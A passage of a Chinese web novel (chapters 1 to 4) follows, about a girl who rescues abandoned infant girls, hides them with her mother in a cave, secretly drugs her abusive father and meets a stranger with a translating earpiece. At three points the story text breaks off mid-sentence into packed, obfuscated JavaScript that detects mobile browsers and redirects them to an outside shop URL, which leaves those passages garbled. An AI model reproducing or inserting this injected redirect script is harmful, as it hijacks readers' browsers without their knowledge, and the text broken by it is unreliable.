《山洞穿未来,但是监狱》 1. 为了她娘 “怪只怪,你生成了女儿身,你要是个男孩,就不用……” “好了,别说了,走吧。” “等等……让我再看看我女儿……” “越看越舍不得,看什么看,快走,对了,把她衣服扒了!” “这么冷的天,把她衣服扒了,她要死的!!!” “扒不扒衣服都得死,不扒了衣服,她还要在这里慢慢等死,还不如扒了衣服,早死早超生。” …… 忍冬静静地站在树后,看着婴儿身上的衣服被扒掉,小心被人揣在怀里,仿佛那身衣服比那个躺在地上的婴儿还要重要许多。 不,不是仿佛,衣服在这里确实要比女婴重要。 她没有出声,也没有做什么,只是看着那扒了衣服的女人拽着婴儿的母亲离去。 母亲低声的哭喊惊动了婴儿,让原本在沉睡的婴儿也开始哇哇大哭起来。 “我的孩子……” “喊什么喊,把人引来了,那孩子就丢不掉了,你再喊,我这就去捂死她!” 母亲的声音戛然而止。 忍冬从树后走出,看着两人越走越快,越走越远,直至消失在林海中。 她回头,走到了婴儿身旁。 婴儿哭累了,脸上挂着泪水,让本就脏的脸颊变得更加难看。 “遇上我,是你好运,要知道不是谁都能遇上我的,不过之后能不能活下来,就看你自己的了。” 忍冬将肩上的背篓放下,从里面拿出一块深灰色的麻布,小心将婴儿裹起来抱在怀里,又重新背上背篓,抱着她进了深山。 走了大概一个时辰,她来到了深山里的一座高山的脚下,拽了拽从山上垂下来的藤蔓。 藤蔓晃动几许,从上头又掉下来一根藤蔓。 她将最初的柔软藤蔓绑在自己身上,拽着新掉下来的藤蔓,踩住山岩上的一处处凹点,缓慢地往上爬去。 每爬几步,腰上的藤蔓便会收紧,这样她要是不小心松了手上的藤蔓,腰上的这一根也能拽住她,不会让她坠下。 大约一刻钟之后,眼前出现了一个平台。 忍冬用了点力,面前的平台也越来越开阔,同时见到了早已站在平台上的几人。 “姐姐。” “姐姐。” “冬儿,你又救了个孩子,快把孩子给我。”女人从忍冬手上接过孩子,让她能全力往上爬。 而忍冬手里没了孩子,只两步就站上了平台,将手上的藤蔓和身上的藤蔓放下解开,这才开口:“回来时就听到苗婶家里生了个女娃,她家已经有三个女娃了,这是第四个,大抵是不要的,我就跟了上去,正好瞧见带了回来。” “可怜的娃,连个衣服都没给留下,”女人一看孩子身上的麻布,就知道这是忍冬后来给裹上的,“这孩子这般瘦弱,怕是连母乳都没喂。” “桂嫂还要下地干活,要是开始就喂了奶,之后奶水止不住,日子会很难。”桂嫂就是女娃的母亲。 女娃生下来就被丢弃很可怜,但刚生了孩子的桂嫂也还得下地干活,同样很可怜。 “就是苦了你,要养活我们这么多人,”女人一手抱着婴儿,一手拉着忍冬的手,“冬儿,是娘对不住你,要是娘当初小心些,你也不用这般辛苦。” “娘,那不是你的错,你只是被打怕了想要跑,要不是后来被抓到,你早就跑了,现在却只能被困在这里,”忍冬也抓着娘亲的手,“而且我总是救人回来,你也很辛苦。” 她说着话,几个小女孩都围拢过来。 “姐姐,娘……” “我不苦,她们都很好,帮了我很多忙,你救回来的孩子也都是她们在帮忙照顾,不然只有我一个人,肯定忙不过来,”女人立即说道,单手搂着几个大点的女孩,低声与她们说话,“而且你们也是我的孩子,既然你们喊我娘,这辈子我都是你们的娘。” “那就都不说了,”忍冬摘下背篓,从里面抓出一个兜,“我又买了些白米回来,娘你给她们的煮粥喝吧,正好大点的喝粥,小点的喝米汤。” “锅里正煮着呢,杨柳,给刚来的妹妹盛一碗米汤,瞧她这样,定是生下来后都没能吃过一顿,青竹,你抱着妹妹,我跟冬儿说会儿话。” “好。” 两人同时点头,杨柳转身进山洞,青竹则熟练地抱过了婴儿。 这些女孩之所以能被捡回来,基本都是被丢弃的,原本的名字大多是贱名,不甚好听,女人就根据自己的名字,好像给亲生女儿取名叫忍冬一样,为这些女孩取了花草的名字。 喊这些人的时候,她才能想起自己曾经也有一个极好听的名字——菡萏,只是后来,在许多人口中,她成为了“钱三家的婆娘”。 好在如今,她又恢复了菡萏这个名字,虽然在这里无人会这样喊她,但她还记得自己。 菡萏拉过忍冬的手走到一边,低声与她说话:“冬儿,你爹这些时日有没有找你麻烦?你总这样进山,他没说什么吗?” 忍冬眨了眨眼,同样拉着女人的手:“娘,有件事我忘了与你说,我爹前些日子不小心摔了一跤,他们说是摔坏了那里,也不知是哪里,如今正在四处求医呢。” 菡萏有些惊讶:“怎会如此?” “不知,就说是进山的时候不小心踩中了陷阱,”忍冬摇头,疑惑抬头,“娘,那里是哪里?” “小孩子家家的,不用懂这些,”菡萏掐了掐她的脸,很快又心生困惑,“他都这样了,还让你进山?” “我说我进山来抓野物的,顺便看能不能找到草药,”忍冬说道,“他受了伤去了趟药铺,听药铺的人说山里的草药很值钱,便叫我进山来采药,若是能采到好一些的草药卖出高价,比我在地里干活更值钱。” “你才十二,怎么叫你进山采药,这多危险啊?!”菡萏皱眉,“要是不小心遇上野猪或是野狼,那可如何是好?” “没事的,娘,山里的情况我熟悉,不会有问题,”忍冬拉着娘亲的袖子,“而且这样的话,我就能经常来山里见娘了。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17135694|196265||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 菡萏几次张嘴,却都不知道该说什么。 要说危险,忍冬这么小一个人,却要养活这么多人,若不是时时在山里打野物挣钱,哪里能有银钱去买粮食? 不论怎么说,都是她带给女儿的危险更大一些。 忍冬看她这样的表情,知道她心里在想什么,再次开口:“娘,你要好好帮我照顾好她们。” 菡萏瞬间想起了被忍冬救回来大大小小的女娃们,抬手将女儿抱在怀里:“冬儿,你若是辛苦,以后……以后不必再带人回来,她们不是你的错。” “但我见到了,不能见死不救,”忍冬将头埋在她怀里,“而且娘,我不辛苦,只要一想到我能让她们活着,就觉得自己活着也很有价值,娘帮帮我好不好?要是没有娘在,我一个人什么都干不了。” 菡萏抬手,轻轻拍了拍女儿的脑袋。 忍冬在她怀里松了口气。 当初她娘逃跑,抓住后被污蔑是偷人,被人浸猪笼,差点死去。 她好不容易将人救回来,菡萏却怕连累她,几次想要寻死,正好那时她遇上了一个被丢弃的小孩,她娘有个小孩要照顾,这才没有继续寻死。 从那以后,她就一直在往这里捡孩子,不为别的,就是为了她娘活着。 出生以来,她在家里一直都是被嫌弃的,只有她娘一直在意她,要是娘也走了,她也活不下去。 所以不管养孩子再辛苦,她也要让那些孩子成为她娘的负担,让她不能再继续寻死。 更何况她也不单单只是在林子里打猎找草药为生。 半年前,她就意外发现了无人种植的大片田地,在那里种了一茬又一茬的萝卜青菜,赚了不少银两。 再过不久,那边她单独开垦种植的麦田也要成熟,只要收割,至少能收获两千斤小麦。 如今小麦五文一斤,两千斤小麦,能卖十两银子。 “娘这里不辛苦,只是你自己要量力而为,我们这么多人却要你一个人养活……”菡萏叹气,“等杨柳她们再大一些,也叫她们陪你一起去采药,可好?” “好,”忍冬没有拒绝,反而欣喜地拉着她的手,“娘怎么知道我跟药铺搭上了关系?” 菡萏惊讶地反握着她的手:“娘不知道啊,你此话当真?” “当真,”忍冬笑着扬眉,“我往药铺里送了几回药,药铺的人都说我的药很好,林子深处人少,那些药材长的久,药性都很好,便说叫我以后多送几回,给价都能比寻常的要高一成呢,等杨柳她们再大一些,跟我一起去采药,大家的吃喝更不用发愁了。” “好,好,这可太好了,”菡萏开心笑着,紧握住她的手,“冬儿,那样的话,以后你就不用那般辛苦了。” “嗯,”忍冬抱着她的手臂,“等我们多赚点钱,我陪娘一起去找外公外婆,他们一定也在找娘。” 菡萏神色微沉,心里觉得希望不大。 但她还是抱住了女儿,盼着会有那么一天。 “以后娘都听冬儿的。” 2. 真是懂事 小婴儿被裹上了最细的棉布,喝了米汤脸上的苍白灰暗散去不少,如今正睡的香甜。 除了她之外,这个山洞里还睡着五个婴儿,最大的不过十个月,都是刚出生不久就被丢弃,由忍冬捡回来的。 “冬儿,你又救了一个孩子。” “还不知道能不能活下去,”忍冬低声道,“或许跟先前那个一样,活不过几日,这孩子生来也没有喝过一口母乳,怕是……” 并不是所有被救回来的婴儿都能活下来,之前就有一个婴儿,哪怕被带了回来,也依然熬不过,只勉强撑了五日。 “娘会好好照看的,”菡萏轻轻环住女儿的肩,低声安抚,“她们能被你救下来,已是有幸,便是不能活下来,也未必是坏事,死后无痛无伤,也是解脱。” 忍冬转头:“娘不会走的,对吧?” “不会,”菡萏轻笑着摇头,低头看着她的眼睛,“娘会一直陪着你,以后都不会再自寻短见,相信娘,好不好?” “嗯,”忍冬张开手抱住她,闷声道,“娘,那个家不属于我,只有娘在的地方才属于我,我是忍冬,不是大丫。” 菡萏将她抱住:“是,你是娘的忍冬,不是大丫。” …… “大丫,你爹一直在找你,你怎么才回来?是不是偷懒了?小贱蹄子,你娘能逃,你可不行,要是你赶逃,看我不打断你的腿!” “我去山里了,”忍冬听着骂声猛地瑟缩,将肩上的背篓摘下来,“奶,我今天运气好,抓了只野鸡。” “野鸡?”老太太目中瞬间露出惊喜的表情,在忍冬将野鸡从背篓里拿出来时,就一把夺了过去,再低头看着背篓,“还有什么?” “还有些草药。”忍冬让她看背篓里的东西。 老太太皱眉:“你去了那么久,就找了这么点东西?” “草药难寻,”忍冬默默从边上拿了个晾晒的簸箕,将背篓里的草药都拿出来摊平,“明日我去县里问问,看这些草药能卖几个钱。” “顺便替你爹抓副药来,”老太太说着,抬手裤子内侧的口袋里摸钱,空手伸进去又空手出来,指使道,“你总是给药铺里送药,明日买药的钱要是不够,先赊着,等你下回去卖药的时候抵扣。” 忍冬面露难色。 老太太根本就不看她:“行了,你撅个嘴我就知道要说什么,不用说那些废话,那药铺既然需要你的药,赊欠又如何?快去干活,家里那么多活不干,等着我这把老骨头去做吗?” 忍冬低着头进了屋里,从屋里端出一盆换下来的衣物,往河边走去。 河边聚了些人,并排着在洗衣。 见她过来,有人主动挪了挪盆子,让出了个位置出来。 忍冬连衣服带盆浸入水中,装满水之后再抬到岸边,认认真真搓着手上的衣服。 边上的人彼此换了换眼神,有人咳嗽一声后开口:“大丫,你爹要给你找后娘的事,你知道吧?” “知道啊,”忍冬并不抬头,依然搓着衣服,“我爹要传宗接代的,他要找后娘生男娃,以后我嫁了人,就能在娘家有依靠了。” “这话有理,本就应该如此,”对方认可地点头,“要是没有男娃,你肯定要受欺负的……” 有人猛地咳嗽两声。 说话的人想起什么,收起想要继续碎碎念的话语,转变话题:“啊,对了,你最近在家有没有听你爹说什么,比如说喊疼啊什么的,或者脾气有没有变得更不好?嗯?” 忍冬抬头,看清了眼前人目光中的幸灾乐祸,心绪平静,眼中带了几分疑惑:“我爹的脾气?他最近脾气挺好啊。” “你爹最近的脾气还挺好?” 忍冬点头,依然平静回道:“他最近都没有打人了。” “没有打人啊?” 几人迅速对视了一下目光,互相用口型说话。 “怕是打不动。” “肯定是。” 忍冬又低了头,盯着衣服上明显的脏污,拿皂角小心搓着。 “对了,大丫,”有人凑到她身旁,“那你有没有听你爹喊疼啊,难受啊什么的?最近他吃药还行吗?” “受了伤肯定是疼的,也要吃药,我明日要去抓药,”忍冬说着,抬头看着好奇的几人,认真且疑惑道,“就是不知道为什么,大夫也说不好要服多久的药,还说什么好不好得看他自己。” “这话也就是说,你爹可能会不好?” “不可能,他肯定能好的,”忍冬立即道,“我瞧着我爹跟之前没什么区别,就是走路慢些,上茅房慢些,多休息休息就行。” 几人再次眼神对视,无声对话。 “上茅房慢啊。” “肯定有问题。” “要真不行了,那人还能愿意嫁吗?刚嫁过来就守活寡,这可不是个好事。” 忍冬蹲在水边,继续低头认真洗衣服,装作没有听到无声变小声的对话声,反正她在村里人眼中,一向都是木讷不会来事的性子。 对话中,有人端起还没有洗完的一盆衣服站了起来,悄悄离开人群。 其余人洗完了衣服,也陆陆续续往家走。 忍冬洗的认真且仔细,全部洗完后,天色已经完全黑下,周围也没了人。 她端着拧干的衣服慢吞吞往家走。 路上却不像往常那样总遇见热络的村民,反而空无一人。 直到快走到家中的时候,才发现她家周围聚了一圈的人。 她刚走近,就被人拉到了一边:“你这会儿可别进去,这时候进去了,你奶肯定要骂你,里头正吵着呢。” “谁跟谁在吵啊?”忍冬端着盆问道。 “你后娘,过来说两家的亲事呢,就是这会儿听着,好像说的不太行,反正你别掺和,等你后娘嫁过来生了个儿子,以后可没你好日子过了。” “麦芽你跟大丫说什么呢,人家生了儿子,大丫才有好日子过,以后嫁出去都有人给她撑腰,没有弟弟,她以后要受罪的,你有弟弟,你以后也能享福。” “我知道啊,可我弟弟跟我都是娘你生的,大丫不是啊,那是后娘,生下来的弟弟跟她又不是一个娘,哪能像我一样有那样好过的日子?” “这也是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17135695|196265||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ……不是,大丫你别听她瞎说。” “没关系的,”忍冬依然乖乖抱着木盆,笑着看向两人,“等以后弟弟生了,我会待弟弟很好,我也会待后娘很好,他们肯定会待我好,这样我以后嫁了人,就有人撑腰了。” “对对,这话对,就该好好相处嘛,大丫你这么听话,你后娘肯定也会待你好。” 忍冬看着她微笑。 说话间,屋里面的争吵停歇,很快就传出了说笑声。 围观的村民们看不到热闹,纷纷四散着离开,只留下几人没死心,捧着碗还在边聊天边往屋里看。 忍冬走过人群,抬头看了看天空,确定明天不会下雨,这才将洗完的衣服晾晒在衣杆上。 晾晒的时候,她发现其中一件衣服上破了个口,挂上后进了堂屋,打算拿针线,结果刚进了屋就被喊住。 “这就是大丫,刚才出去洗衣服了,”老太太拉着她的手,“过来见见你娘,以后要喊娘,知道吗?” 忍冬抬头,看了眼那个一直看着她的女人。 “这就是大丫啊,真乖,”女人笑着拉过她,往她手里塞了个麦芽糖,“以后我们俩最好,好不好?” 忍冬缓缓点了头,握紧了手里的麦芽糖,低声道:“我,我要拿针线去补衣服。” 说完,她立即从斗柜上拿了针线,快步走出了屋里。 出了门,她还听到身后传来的声音。 “这孩子胆小,就是能干活,你放心,等你以后嫁进来,也不用你多干活,她都能干。” “那她真是很懂事了。” 屋里的笑声再起。 忍冬站在衣服面前,认认真真缝补着衣服,将衣服补到从正面几乎看不出太多痕迹的模样。 不久之后,亲事谈拢,女方一家人从屋里出来。 忍冬并不多说什么,只是看着他们离开,然后便开始里里外外收拾屋子,再看着他爹也出了门,才直起身,站在了暗处。 夜色越来越黑,她站在暗处,已经完全被人忽视。 又不知过了多久,她听到了脚踩落叶的声音。 有人站在了墙的另一边。 “他已经吃了药,我亲眼看着他吃下的。” “嗯。” “其实如果他娶妻能给你生个弟弟,对你是有好处的,为什么要这么做?” “对我有好处,对他好处更大,你愿意看着他得了那么大的好处,而你自己断子绝孙吗?” “当然不愿意!当年要不是他,我怎么会变成现在这个样子?!不过他怎么也不会想到,自己的亲生女儿居然想让他断子绝孙,哈哈,真是有意思。” “从他想杀我娘开始,他就该死了,不过现在这样,他活着会更痛苦,你以后别来这里了,只远远看他好戏就行。” “好啊,那肯定会很好玩,对了,需要我帮忙跟大家说一声吗?” “不用,有人会传扬出去的。” “你做事,我放心,那我就等着看好戏了,哈哈哈哈哈,好玩,太好玩了,我真的迫不及待想要看他知道自己即将断子绝孙的模样了!” 3. 什么东西 家里的事情多,忍冬早早起床,做了早饭,又收拾了鸡窝,喂了猪,等到她爹和她奶都起了床,才囫囵着吃了两口饭,拎上背篓去收拾昨日晒着的草药,将全部草药装进背篓后打算出门。 临出门前,老太太开了口:“今日你要是抓不回药来,你也别回来了。” 忍冬低着头,怯声道:“要是大夫不肯……” 老太太厉声怒喊:“不肯你不会跪着求吗?要是求也不肯,你就在药铺门口躺下,有人要进门就得踩着你的身进去,我看他肯不肯!” 忍冬猛地瑟缩一瞬,低着头拿着背篓出门。 “胆小鬼,”老太太往地上啐了一口,“这也不会,那也不懂,还想从我口袋里拿钱,休想!” “来翠,大丫已经很懂事了,你好好待她,以后没准就她最孝顺。” “她孝顺有个屁用,一个迟早嫁出去的赔钱货,我养她那么大,不趁着这时候多让她干点活,还等几时?”老太太说着,斜眼看向来人,鄙夷着笑,“你也就会嘴上说说,真要是喜欢丫头片子,你家老二刚丢了个女娃,怎么不把人带回来养?” “我……我……你……太过分了!” “到底是谁过分?”老太太神色依然鄙夷,“好歹我家还养大了大丫,给了她一口饭吃,你家刚出生的女娃,说丢就丢了,连口饭都不给吃,还好意思说我?” “那是因为你家老三就生了大丫一个,要是你们家也连着生三个女儿,你肯定也会叫人丢到林子里去!” “那是我肚子里生出来的孩子出息,生下来的娃有儿有女,哪像你家,净生女娃了,”老太太斜眼,咕哝着啐出一口唾沫,“呸,多管闲事!” “你……你……无耻!我不跟你说了!” …… “大丫,你要去县里吗?帮我带几个鸡蛋去卖。” 忍冬站定,从来人手里接过鸡蛋,一个一个仔细看过,从里面挑出了一个裂了缝的鸡蛋,默默递了回去。 “看着人这么老实,眼睛怎么这么尖?”对方嘟嘟囔囔地拿回裂缝的鸡蛋,揣好后强调着开口,“鸡蛋三文钱一个,我给你八个鸡蛋,一共24文钱,我给你两文钱,你得给我带回来22文钱,我可都算好了,你不能给我少带回来,知道了吗?” 忍冬默默点头,将鸡蛋一个一个放在草编的底子上。 对方一直低头看着她的篮子,笑道:“这样是不会坏啊,那看来你每次都能赚钱。” 忍冬回问:“婶婶希望鸡蛋坏了?那我可以少拿钱回来?” “不行,那怎么行?!你弄坏的当然是你赔钱,”对方立即道,“反正八个鸡蛋,你必须给我带回22文钱,要是路上坏了一个鸡蛋,你还得倒赔我一文钱!” 忍冬不说话,只是默默看她。 “好了,你走吧,别忘了给我带钱。”说完,对方转身就走。 边上有人看到,伸出脖子啐了口唾沫,回头跟忍冬说话:“还是大丫你性子好,换成旁人,肯定不愿意给她带鸡蛋,刚才肯定是故意往里面放裂了缝的鸡蛋,就是想让你弄坏了赔钱,我就不一样了,这些萝卜不容易弄坏,你随便造。” 说话的时候,萝卜一条一条往框里塞,压的严严实实完全不留任何缝隙。 萝卜卖价低,这么大一筐萝卜也就几十文钱,能多卖一个就多卖一个。 不过今天这框里的萝卜,明显比之前要多了不少。 忍冬看着正低着头开开心心在塞萝卜的婶娘,并不说话,直到她将萝卜全部塞进去,才默不作声地弯腰,拎着背篓的背带,费劲将它背了起来。 “大丫真厉害,”对方笑着拍了拍忍冬的肩,“这一筐萝卜少说也要卖五六十文,等你卖了萝卜回来,我多给你两块麦芽糖。” 忍冬点头,正要往前走,脚下却突然一个踉跄,连人带萝卜一起往后倒去。 “哎呦——” “怎么了,怎么了?” “怎么突然就摔了,快起来。” “还好萝卜没摔坏,看着都好好的。” “你说说你,大丫还这么小,你往框里塞那么多萝卜做什么?还好是在这里倒的,这要是换个地方,你让大丫怎么办?背又背不动,带又带不走!” “你真是的,就算大丫听话,也不能使劲造她,这都干的什么事?” 周围人多,不一会儿时间,两个人被拽起来,那一筐萝卜也都捡了起来,因为这会儿塞的不严实,那框萝卜在箩筐里冒出了好大个尖。 忍冬低着头不说话。 先仔细看了看手上框里的鸡蛋都完好,随后抬头,小心翼翼看了看众人,又伸手去拎那框萝卜。 “二满,你还打算让大丫拎这么重的萝卜去县城里头卖?怎么净让大丫干活?知不知羞?” “她也挣了钱的啊,我这不是为了让她多挣几个钱吗?!” “就那几个铜板,把人压垮了,你就不怕大丫她奶来打你。” “她奶看见过好多回了,也没见她说什么,”林二满嘟囔着,看了看冒了尖的萝卜,又看着忍冬那细胳膊细腿,甩了甩手,“行了行了,今天这铜板不给你挣了,你走吧,这些萝卜我们自己拉车去县里卖!” 忍冬看了看她,又看了看其余人,弯腰从边上拎起她自己的背篓,低着头往县城的方向走去。 身后传来断断续续的对话声。 “这大丫人是懂事,就是不说话,三棍子打不出一个屁来。” “可不是么,不过她家那样子,不说话也正常,要是她娘还在就好了。” “嘘,可别说她娘,被她奶听到了,又要骂人,现在她爹正在说亲呢,可不能把亲事搞坏了,不然他们一家子都得给你没完。” “不说了不说了,干活吧……哎呦,狗贵这小子真不像话,那么好的地,说不种就不种了,一天天的,就知道躺着坐着,没见他起来干过活。” “他都要断子绝孙了,娶不到媳妇也没孩子要养活,不干活就不干活呗。” “他比大丫还不如,好好的一个男人,什么活都不干,像什么话?” “就是,哪像我们,有那么多孩子要养活,人啊,就得干活,不干活就不算过日子,狗贵……要不是他断子绝孙了,也算是个壮劳力,结果被个丫头比了过去。” 狗贵睁开眼睛。 头顶的阳光刺眼,他半眯着眼睛看着走远的钱大丫,侧头看向那群叽叽喳喳说个不停地男男女女,心里忍不住笑。 嘿嘿,要不了多久,他钱老三也会跟他一样断子绝孙,到那时候,村里可不会只有他一个人被笑话了。 不过谁能想到,这个看上去木讷呆板任人说骂的女孩,居然能对自己的爹下壮阳药。 寻常人吃壮阳药基本不会有事,但一个原本那处就有伤的男人,再吃壮阳药,那从此以后,可就别想再碰女人了。 好玩。 狗贵又闭上了眼睛,翘着脚嘿嘿笑。 “狗贵你躺就躺了,笑什么笑?” “当然是笑你们辛苦啊,”狗贵依然闭着眼睛,脚翘得更加频繁,“这么好的天气,我能躺着睡觉,你们却要累死累活在地里干活,多可怜呐。” “你现在不干活,老了就等着饿死吧!” “饿死就饿死,总比你们累死要好,反正我开心,我乐意,”狗贵侧了身,“你们可别在那边叽叽歪歪的,打扰我睡觉,我告诉你们,老子光脚不怕穿鞋,要是你们惹烦了我,我拎着刀把你们都剁了!” 说完,他很快就发出呼噜噜的声音。 正在干活的众人彼此看了看,眼里都有些警惕,虽然想要回骂,但最终还是没敢说话,默默低头干活。 有人暗自啐声:“这个混账。” “瘪犊子!” …… 忍冬爬上几人高的半山腰,掀开山腰处厚实的各种藤蔓,拎着背篓进了山洞。 往山洞深处七转八回走了一圈,眼前豁然开朗。 大片的田地上,即将收获的麦田通体金黄,麦穗在阳光下仿佛是闪着光的金子,一阵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17135696|196265||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 风吹来,仿佛有一股浓郁的麦香冲进她的鼻间。 真的太香了! 重点是这一大片麦田都是她自己的,不枉费她这半年来日日挤出时间过来伺候这一片麦田。 她将肩上的背篓放下,快步冲进麦田,笑着抬手抚过大片大片的麦穗。 半年前,她在躲避她爹殴打的时候,意外找到了这一处山洞里的田地,当时这里只有空荡荡的田地,全无一人。 虽然不知道为什么这个地方会有这么大一片无人种的田地,但在确定周围没有人,且这里确实没有种植的痕迹后,她毫不犹豫就占了这片田地,种下了一些瓜果蔬菜,以及这一大片麦田。 但如今,总算是到了收获的时候。 忍冬在麦田中间停住,掐了几个麦粒,确认麦子的饱满情况。 这片麦子长的很好,比外面的麦子长的要好很多,再过几日等这片麦田都成熟了,就可以收割拿出去卖了。 看过麦田,她走到一边种瓜果的地方,从地里拔出一片萝卜,装了满满一大麻袋。 又从里面挑了一个不大不小的,到溪边清洗干净,直接放进嘴里咬。 萝卜带着一股子清甜的味道,一口咬下嘎嘣脆,格外解渴。 吃着吃着,她突然听到了身后的声音,猛地回头,发现了一个穿着奇怪的人,正盯着她——手里的萝卜。 还在咽口水。 忍冬抿紧了唇,心里闪过许多想法。 难不成这片土地是有主的?那她是不是要现在立刻下跪道歉?她还那么小,只要下跪道歉哭一哭,大人基本都会同情她,不会怪她太多。 但她来了这里半年,都没见有人过来,且原先这里的田地在她来之前确实没有种东西。 也不对,虽然半年前没人种植,但却并不是荒地,说明是有人在管的。 难不成眼前这人真是这片地的地主? 可地主……又怎么会对着一个萝卜咽口水? 这人很奇怪,不像是地主,反而像是说书先生口中“四体不勤五谷不分”,生活在京城的富家小姐……这人的话……富家老太太也可能是“四体不勤五谷不分”的吧? 想到这里,她握紧了手上的萝卜,掰断自己咬过的那一部分,将剩下的萝卜递了过去。 “%¥#&?” 对方这么问道。 忍冬听不懂,心想这果然是京城里住着的富家老太太,但她既然指的是萝卜,那应该是问能不能吃。 她点了头,答了声:“嗯。” 心里想着如果这真是京城的富家老太太,现在她给了个萝卜,等她回去了,自己是不是能找她要点值钱的东西? 不过这老太太身上的衣服看着可真奇怪。 忍冬悄悄看了看她,见她认认真真咀嚼着萝卜,一口下去眼睛里就放了光,开开心心地大口大口吃着。 唔…… 京城的富家老太太,连萝卜都没有吃过吗? 还是她弄错了,这人就不是富家老太太,而是不知道从哪里来的流民?可流民会穿这么好的衣服吗? 这老太太身上的衣服可是连一个补丁都没有。 过了一会儿,老太太吃完萝卜,对着忍冬又叽里呱啦说了一通。 忍冬疑惑地眨了眨眼,一字一句缓缓用不熟悉的官话询问:“你说什么?可不可以说的慢一点?” 老太太依然自顾自叽里呱啦,但这次却从口袋里掏出一个米粒大的小黑点,摊开手递给她,又指了指耳朵。 忍冬看着那个小黑点,疑惑地指着自己的耳朵。 这么小的东西放耳朵里,不会掉进去吗? 老太太直接伸手,将东西放到了她的耳朵里。 忍冬下意识抬手,想要把东西拿出来。 她刚得了这么好的田地,现在还不想死! 就在这时,耳朵里突然出现了一道奇怪的声音。 【请开放语言模式,正在识别语言,正在读取中……】 什么东西?!!! 4. 精明的很 “可以再吃一个吗?” 忍冬听着直接在右耳响起的话,再想到两只耳朵都听到的叽里咕噜的陌生话语,忍不住抬手摸了摸自己的耳朵。 她病了? “你没听错,是我在跟你说话。” 忍冬侧头,看着触碰自己耳朵的手指,也抬了手指了指:“这个东西说的,是你说的话,你还想再吃一个萝卜?” 说话时,她怕对方听不懂,又从箩筐里拿出一个萝卜递过去:“你要这个,是吗?” “可以吗?”对方问道,“这个很好吃。” 忍冬又摸了摸耳朵,里面又传来了声音,与对方的话先后进入耳朵,仿佛有个人在实时跟她传达意思。 也就是说她耳朵里那个米粒大的黑点,居然可以将对方叽里咕噜的怪话,变成她能听懂的话? 天下居然还有这样的东西?! 虽然她不能理解这样的东西到底是什么情况,但这绝对是好东西! 忍冬垂下眼,拿着萝卜转身,放到溪水里仔仔细细将上面的泥点洗干净,确定上面完全没有泥点之后,才再次起身,将萝卜递给奇怪的富家老太。 开口时,她说的并不是陌生的官话,而是家中的方言,且话语速度并不慢:“萝卜不值钱,我种了许多,你爱吃可以多吃点。” 不出所料,对方听懂了。 “太好了,谢谢你,我很爱吃。”对方接过萝卜,直接掰成两半,从中间开始吃。 忍冬手指微动,垂下的手缓缓敲了敲自己的大腿。 见对方吃的快,她又在溪边蹲下,继续清洗刚从地里拔出来的萝卜,等到对方吃完一个后,很快递了过去。 直到对方足足吃了五个大萝卜。 导致忍冬连平静且木讷的表情都差点维持不住。 “够了够了,这么些就差不多了,”对方拍了拍自己的肚子,“真的好久都没有吃这么饱了,谢谢你,这个萝卜很好吃。” 忍冬看了看她的肚子,明明吃了五个萝卜,对方的肚子却完全不见凸起,甚至似乎还有些凹陷,也不知道饿了多久。 她看着对方身上没有补丁的衣服,低声问道:“你是不是迷路了?我可以去找县太爷,帮你找回家的路。” “我没迷路啊,这里就是我住的地方,”对方笑道,“你不知道,我都盯着你半年了,之前一直都不好意思出来,直到刚刚看你吃萝卜那么香,才忍不住出来,这味道果然跟我想的一样好。” 忍冬眸色微变。 这里是她的地方?!那这些田地也是属于她的? 没等她捋清思绪,对方就连声问道:“你是怎么种的地?居然能种出这么好的食物,那些也能吃吗?好不好吃?到时候你拔出来,能不能分我点?” 忍冬顺着她指的方向看过去。 拔出来,指的是小麦?这不是一般说的都是割吗? 不过对方居然认为这片地是属于她的,还询问她的意见,所以这人果然是富家老太太吧,没准还是很有钱的人家,只不过可能得罪了大家族里的谁,被安置在了这里。 她看向远处的山,心想没准那边就是某个大户人家的庄子。 听说大户人家的庄子都是很大的,田地都不缺,所以才会独独漏了这一处,让她得了便宜。 还好眼前这个富家老太当真是“四体不勤五谷不分”。 她脑海中想了许多,实际只过去了片刻时间,思索过后,很快就稳住表情,点头答应:“当然可以分你,不过你不要说出去,要是说出去就没了。” ……要是说出去,这片田地里的东西都将没她的份。 不管怎么说,都要瞒到这批小麦收购之后! “你放心,我肯定不会说出去,”对方笑着点头,“对了,我叫夏瑞蒂,你叫什么?” “夏奶奶你好,我叫……忍冬,”忍冬报了娘亲单独给她取的名字,说完后看了眼天色,着急道,“我还要去卖萝卜,夏奶奶,我现在可以先走吗?” “那你去忙吧。”夏瑞蒂微笑。 忍冬迅速将萝卜都装进背篓里,数量不够,又拔了一批新的萝卜出来,装了满满一箩筐之后,毫不费力地背在身上。 之后迅速走到洞口的位置,从洞口走了出去。 